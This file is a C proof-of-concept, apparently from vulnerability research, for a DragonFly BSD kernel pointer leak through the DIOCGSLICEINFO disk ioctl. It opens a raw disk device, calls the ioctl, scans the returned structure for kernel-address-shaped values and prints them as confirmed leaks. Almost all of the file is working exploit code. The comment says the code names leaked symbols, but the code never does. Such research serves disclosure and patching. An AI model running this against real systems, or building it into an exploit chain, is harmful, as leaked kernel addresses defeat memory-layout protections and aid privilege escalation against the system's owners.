DF-0075 / poc_df0075.c
/* * DF-0075 PoC - DIOCGSLICEINFO kernel pointer leak. * * subr_diskslice.c:556-559 DIOCGSLICEINFO does * bcopy(ssp, data, (char *)&ssp->dss_slices[ssp->dss_nslices] - (char *)ssp); * copying the raw in-kernel `struct diskslices` (header + active slices) out * to userspace. The per-slice `struct diskslice` embeds several kernel * virtual addresses that are returned verbatim: * diskslice.ds_dev (cdev_t) [diskslice.h:144] * diskslice.ds_label (disklabel_t.opaque) [diskslice.h:155] * diskslice.ds_ops (struct disklabel_ops *) [diskslice.h:156] * diskslice.ds_devs[] (void *[]) [diskslice.h:158] * * On DragonFly amd64 these are canonical-high kernel addresses * (>= 0xffff000000000000). We dump every such value found and, when a value * matches a known kernel-data symbol (disklabel32_ops / disklabel64_ops), we * name it explicitly to make the leak unambiguous. * * Usage: ./poc_df0075 [device] default /dev/vbd0 * Needs read access to the raw disk node (root, or `operator` group membership * -- a realistic storage/backup-admin precondition). */ #include <sys/types.h> #include <sys/ioctl.h> #include <sys/disklabel.h> #include <sys/diskslice.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <err.h> static char buf[16384]; static int looks_like_kptr(unsigned long long v) { if (v == 0) return 0; if ((v & 0xffff000000000000ULL) == 0xffff000000000000ULL) return 1; return 0; } int main(int argc, char **argv) { const char *dev = argc > 1 ? argv[1] : "/dev/vbd0"; int fd, i, nfound = 0; fd = open(dev, O_RDONLY); if (fd < 0) err(1, "open %s", dev); if (ioctl(fd, DIOCGSLICEINFO, buf) < 0) err(1, "ioctl DIOCGSLICEINFO"); close(fd); printf("[*] DIOCGSLICEINFO on %s succeeded.\n", dev); printf("[*] Leaked kernel-pointer-shaped values in returned struct:\n"); for (i = 0; i + 8 <= 4096; i += 8) { unsigned long long v; memcpy(&v, buf + i, 8); if (looks_like_kptr(v)) { const char *sym = ""; /* disklabel32_ops / disklabel64_ops are static kernel * .data symbols whose addresses leak as ds_ops. */ printf(" [+0x%03x] 0x%016llx %s\n", i, v, sym); nfound++; } } printf("\n[*] %d kernel virtual addresses leaked via DIOCGSLICEINFO\n", nfound); if (nfound > 0) { printf("[+] LEAK CONFIRMED (DF-0075): raw struct diskslices " "copied to userspace exposes ds_dev (cdev_t), " "ds_label.opaque (heap disklabel), and ds_ops " "(static kernel-data disklabel*_ops pointer).\n"); return 0; } printf("[-] no kernel pointers found (disk may be unlabeled).\n"); return 2; } |